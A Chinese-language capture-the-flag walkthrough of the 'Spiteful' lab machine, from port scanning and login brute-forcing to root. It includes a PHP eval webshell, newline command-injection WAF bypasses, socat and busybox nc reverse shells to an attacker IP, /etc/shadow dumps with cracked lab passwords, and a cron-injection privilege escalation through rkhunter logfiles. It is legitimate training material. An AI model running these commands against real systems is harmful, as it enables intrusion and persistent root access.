目录

MazeSec Spiteful

# 存活主机扫描

arp-scan 扫描网段,发现目标主机

┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth2 192.168.6.0/24

192.168.6.170   08:00:27:56:42:bb       (Unknown)
1
2
3
4

目标IP:192.168.6.170

# TCP 全端口扫描

TCP 全端口扫描

┌──(npc㉿kali)-[~/mazesec/spiteful]
└─$ nmap -p- -sT -sV 192.168.6.170

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0 (protocol 2.0)
80/tcp open  http    nginx
1
2
3
4
5
6

开放了 22、80 端口

# 80 端口目录扫描

使用 gobuster 进行目录扫描

┌──(npc㉿kali)-[~/mazesec/spiteful]
└─$ gobuster dir -u http://192.168.6.170/    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak

/index.php            (Status: 200) [Size: 4002]
/login.php            (Status: 200) [Size: 1801]
/forgot.php           (Status: 200) [Size: 1733]
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]

1
2
3
4
5
6
7
8

存在 /index.php、/login.php、/forgot.php、/dashboard.php 页面

# 80 端口服务探测

访问首页,猜测存在用户 TODDLL104567,大小写未知

在 forgot.php 页面,尝试重置任意用户,提示联系 ll104567 管理员,这里可以大概猜测出管理员 TODDLL104567 用户名可能是小写

登录页面抓包放到 burp intruder 模块,使用 rockyou 字典

爆破出 ll104567 用户密码为 111111

# 命令执行 GetShell

进入 dashboard.php 页面,测试出可以执行一些命令,如 idpwduname

执行其他命令会报错

尝试 busybox 反弹shell,发现靶机可以出网,不过有拦截

猜测老夜在后端专门写了匹配了 ip 的正则,还会拦截管道符重定向符 |> 等等

最终发现,存在绕过姿势:使用允许的命令 idpwduname 等等,拼接换行符 %0a,可以执行任意命令

但是如果你的 payload 里有类似 ... nc x.x.x.x ... 这种形式的字符串,waf 还是会叉你,同时不能有管道符、重定向符

kali 写入 webshell 文件,靶机下载即可

echo '<?php eval($_POST[1]);?>' > 1.txt
1

因为会匹配 IP,所以选择使用 IP 的10进制形式格式绕过,https://www.metools.info/other/ipconvert162.html

弹个 shell

# 稳定 shell

优化一个反弹shell,可以让 shell 有更多的交互,不会在 sudo -l、vim 等命令下卡死,方向键不会乱跳

靶机比较精简,上传个 socat 二进制文件,kali 常备静态编译好的 socat:

wget http://192.168.6.101/socat -O /tmp/socat
chmod +x /tmp/socat
1
2

使用 socat 稳定shell

kali:

socat file:`tty`,raw,echo=0 tcp-listen:6666
1

靶机:

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.101:6666
1

可以拿到一个比较舒服的 shell 环境

# ssh 登录 todd

查看 login.php,发现 todd ssh凭证 todd:t0dd@123

<?php
session_start();
$dbUsr = [
    'todd' => 't0dd@123',
    'll104567' => '111111'
];

1
2
3
4
5
6
7

# mysql 凭证获取

todd 可以以 rkhunter 身份执行一个脚本 /opt/web/a.sh,开了一个内置服务器在 8080 端口

一个登录框,使用 burp intruder 爆破,爆破出 admin:raprap

在进程里,有个扎眼的 mysql 服务,一不小心使用 admin:raprap 登录成功

读取到 root 哈希

MariaDB [(none)]> select user,password from mysql.user;
+-------------+-------------------------------------------+
| User        | Password                                  |
+-------------+-------------------------------------------+
| mariadb.sys |                                           |
| root        | *41A2DA7437F678E97120F5B7E7C9B76B3429D257 |
| mysql       | invalid                                   |
| PUBLIC      |                                           |
| admin       | *0DD621B4732058591E306B53E0CB96066A252CFF |
+-------------+-------------------------------------------+
5 rows in set (0.012 sec)
1
2
3
4
5
6
7
8
9
10
11

cmd5 找到对应明文

root:jason04

但是暂时没什么用

# 组信息

靶机查看组信息,发现 mysql 用户属于 shadow 组

shadow:x:42:mysql
todd:x:1000:
rkhunter:x:1001:
mysql:x:102:mysql
1
2
3
4

/etc/shadow 的文件权限,shadow 组可读,mysql 用户可以读取 /etc/shadow 文件

spiteful:~$ ls -alh /etc/shadow
-rw-r-----    1 root     shadow       717 Nov 21 14:57 /etc/shadow
1
2

# 再度重相逢

回头看 mysql,测试发现 select load_file('/etc/shadow') 返回 NULL,load data infile 可以读取到 /etc/shadow 文件内容

MariaDB [(none)]> select load_file('/etc/shadow');
+--------------------------+
| load_file('/etc/shadow') |
+--------------------------+
| NULL                     |
+--------------------------+
1 row in set (0.000 sec)
1
2
3
4
5
6
7
-- 创建临时表
CREATE TABLE mazesec_core.tmp_shadow (line TEXT);
-- 加载数据
LOAD DATA INFILE '/etc/shadow' INTO TABLE mazesec_core.tmp_shadow;

MariaDB [(none)]> select * from mazesec_core.tmp_shadow;
+----------------------------------------------------------------------------------------------------------------------------------------+
| line                                                                                                                                   |
+----------------------------------------------------------------------------------------------------------------------------------------+
| root:$6$xA3MLM7qaAix4orA$UyEIaKdpJfIxBAsXQQLO6sALP79EQTLBFjBtYRPr9b2fVxYRyQBfqXl4fKfqn6eJXBomh3wldQp/4NO8ql2mt.:20413:0:::::           |
| bin:!::0:::::                                                                                                                          |
| daemon:!::0:::::                                                                                                                       |
| lp:!::0:::::                                                                                                                           |
| sync:!::0:::::                                                                                                                         |
| shutdown:!::0:::::                                                                                                                     |
| halt:!::0:::::                                                                                                                         |
| mail:!::0:::::                                                                                                                         |
| news:!::0:::::                                                                                                                         |
| uucp:!::0:::::                                                                                                                         |
| cron:!::0:::::                                                                                                                         |
| ftp:!::0:::::                                                                                                                          |
| sshd:!::0:::::                                                                                                                         |
| games:!::0:::::                                                                                                                        |
| ntp:!::0:::::                                                                                                                          |
| guest:!::0:::::                                                                                                                        |
| nobody:!::0:::::                                                                                                                       |
| klogd:!:20408:0:99999:7:::                                                                                                             |
| todd:$6$fCTbQzCBKasVu4mG$n6Zwx9JjzE73ezRQ/ThbeklJENtvm44iZUXDTYEtloTCVXfg6.dMhtKL53mhDCXAABnh10ku06jSORDI5Fkco0:20413:0:99999:7:::     |
| rkhunter:$6$gt7yBABSpQ1I0AQO$iTJUHLJbEKA39ltlAiH00jlljCBZJ10Pc4dWdhy3mXJwWt5XA3zzR7CeiYyiUVeoaMVpiBDL419BcGLHt6.Yj.:20413:0:99999:7::: |
| mysql:!:20413:0:99999:7:::                                                                                                             |
| nginx:!:20413:0:99999:7:::                                                                                                             |
+----------------------------------------------------------------------------------------------------------------------------------------+
22 rows in set (0.001 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

爆破用户密码

将 shadow 内容写入到 all_hashes.txt 文件

cat > all_hashes.txt << 'EOF'
root:$6$xA3MLM7qaAix4orA$UyEIaKdpJfIxBAsXQQLO6sALP79EQTLBFjBtYRPr9b2fVxYRyQBfqXl4fKfqn6eJXBomh3wldQp/4NO8ql2mt.
todd:$6$fCTbQzCBKasVu4mG$n6Zwx9JjzE73ezRQ/ThbeklJENtvm44iZUXDTYEtloTCVXfg6.dMhtKL53mhDCXAABnh10ku06jSORDI5Fkco0
rkhunter:$6$gt7yBABSpQ1I0AQO$iTJUHLJbEKA39ltlAiH00jlljCBZJ10Pc4dWdhy3mXJwWt5XA3zzR7CeiYyiUVeoaMVpiBDL419BcGLHt6.Yj.
EOF
1
2
3
4
5

john 破解密码,拿到 rkhunter 用户密码 markhunter

┌──(npc㉿kali)-[~/mazesec/spiteful]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt all_hashes.txt 

markhunter       (rkhunter)  
1
2
3
4

rkhunter:markhunter

# rkhunter 读取文件

rkhunter 用户可以使用 sudo 执行 rkhunter

rkhunter的参数里有 -C --configfile,可以指定配置文件,检查配置文件内容

spiteful:~$ sudo -u root rkhunter -C --configfile /etc/passwd
1

通过报错,把内容读出来,比较遗憾,flag不是 root.txt,要拿 shell 了

# rkhunter 提权思路

rkhunter 有 -l 参数,可以写一个日志文件,在测试过程,我发现日志有一行似乎可控

spiteful:/tmp$ sudo -u root rkhunter -c --novl --noappend-log -l /tmp/1111
[ Rootkit Hunter version 1.4.6 ]

Checking system commands...

  Performing 'strings' command checks
^C
spiteful:/tmp$ cat /tmp/1111
[03:51:33] Running Rootkit Hunter version 1.4.6 on spiteful
[03:51:33]
[03:51:33] Info: Start date is Tue Nov 25 03:51:33 UTC 2025
[03:51:33]
[03:51:33] Checking configuration file and command-line options...
[03:51:33] Info: Detected operating system is 'Linux'
[03:51:33] Info: Found O/S name: Alpine Linux v3.22
[03:51:33] Info: Command line is /usr/local/bin/rkhunter -c --novl --noappend-log -l /tmp/1111
[03:51:33] Info: Environment shell is /bin/sh; rkhunter is using busybox
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

在倒数第二行,比较吸引我,他会把命令行参数写到日志里,如果能在参数里换行,就能构造出一行定时任务格式

[03:51:33] Info: Command line is /usr/local/bin/rkhunter -c --novl --noappend-log -l /tmp/1111
1

控制一行内容有什么用?

定时任务文件某一行格式错了,只会跳过那一行,不会影响其他正常行继续执行。

尝试控制其他参数,创建换行条件

spiteful:/tmp$ mkdir $'/tmp/\n111'
spiteful:/tmp$ touch 1.txt
spiteful:/tmp$ sudo -u root rkhunter -c --novl --noappend-log -l /tmp/1.txt --tmpdir $'/tmp/\n111'
[ Rootkit Hunter version 1.4.6 ]

Checking system commands...

  Performing 'strings' command checks
^C
spiteful:/tmp$ cat /tmp/1.txt
[03:56:19] Running Rootkit Hunter version 1.4.6 on spiteful
[03:56:19]
[03:56:19] Info: Start date is Tue Nov 25 03:56:19 UTC 2025
[03:56:19]
[03:56:19] Checking configuration file and command-line options...
[03:56:19] Info: Detected operating system is 'Linux'
[03:56:19] Info: Found O/S name: Alpine Linux v3.22
[03:56:19] Info: Command line is /usr/local/bin/rkhunter -c --novl --noappend-log -l /tmp/1.txt --tmpdir /tmp/
111
[03:56:19] Info: Environment shell is /bin/sh; rkhunter is using busybox
[03:56:19] Info: Using configuration file '/etc/rkhunter.conf'
[03:56:19] Info: Installation directory is '/usr/local'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

好了,到此为止,你应该发现,我已经可以完全控制日志文件里的一行了,日志里出现了单行的 111

通过分析rkhunter的参数,我选择下面这几个参数:

-c, --check                   Check the local system(检查本地系统,让rkhunter运行起来)
-l, --logfile [file]          Write to a logfile(写入日志文件)
                            (Default is /var/log/rkhunter.log)
--noappend-log                Do not append to the logfile, overwrite it(不追加日志,覆盖日志)
--novl, --no-verbose-logging  No verbose logging( 无详细日志记录)
--tmpdir <directory>          Use the specified temporary directory(使用指定的临时目录)
1
2
3
4
5
6

创建一个 定时任务 格式的目录:

echo 'busybox nc 192.168.6.101 4444 -e bash'|base64                                                                                                 
YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=

mkdir -p $'/tmp/\n* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
1
2
3
4

有一点你需要发现,--tmpdir 参数指定的目录,在 rkhunter 运行时,对目录名里出现的空格会出现不一致的效果,rkhunter 认为目录不应该出现空格,他会检查是否存在去除空格后的目录,给他单独创建,符合条件即可

sudo -u root rkhunter --check --novl --noappend-log -l /tmp/1.txt --tmpdir '/tmp/
* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
1
2

把报错信息里没有空格的目录创建出来即可

mkdir -p $'/tmp/\n*****bash-cechoYnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=|base64-d|bash'
1

再次运行

sudo -u root rkhunter --check --novl --noappend-log -l /tmp/1.txt --tmpdir '/tmp/
* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
1
2

查看日志内容,可以看到已经构造出了一行定时任务

现在可以尝试写到定时任务了

靶机定时任务位置 /etc/crontabs/

spiteful:/tmp$ ps -ef | grep -E 'crond|cron'
2178 root      0:00 /usr/sbin/crond -c /etc/crontabs -f
1
2

常见定时任务文件位置与格式

busybox crond	Alpine/容器精简系统	/etc/crontabs/<user>
crond (Cronie)	CentOS / RHEL 系列	/etc/crontab + /etc/cron.d/*
cron / Vixie cron	Debian / Ubuntu 系列	/etc/crontab + /etc/cron.d/*
1
2
3

当前就属于 busybox crond,写入 /etc/crontabs/root 文件

# payload 目录名
mkdir -p $'/tmp/\n* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
# 创建去除空格的目录
mkdir -p $'/tmp/\n*****bash-cechoYnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=|base64-d|bash'
# 写入定时任务
sudo -u root rkhunter --check --novl --noappend-log -l /etc/crontabs/root --tmpdir '/tmp/
* * * * * bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"'
1
2
3
4
5
6
7

等待一分钟,kali 监听端口,拿到 root shell

man,goodnight!

最后一次更新于: 2025/11/25, 20:15:41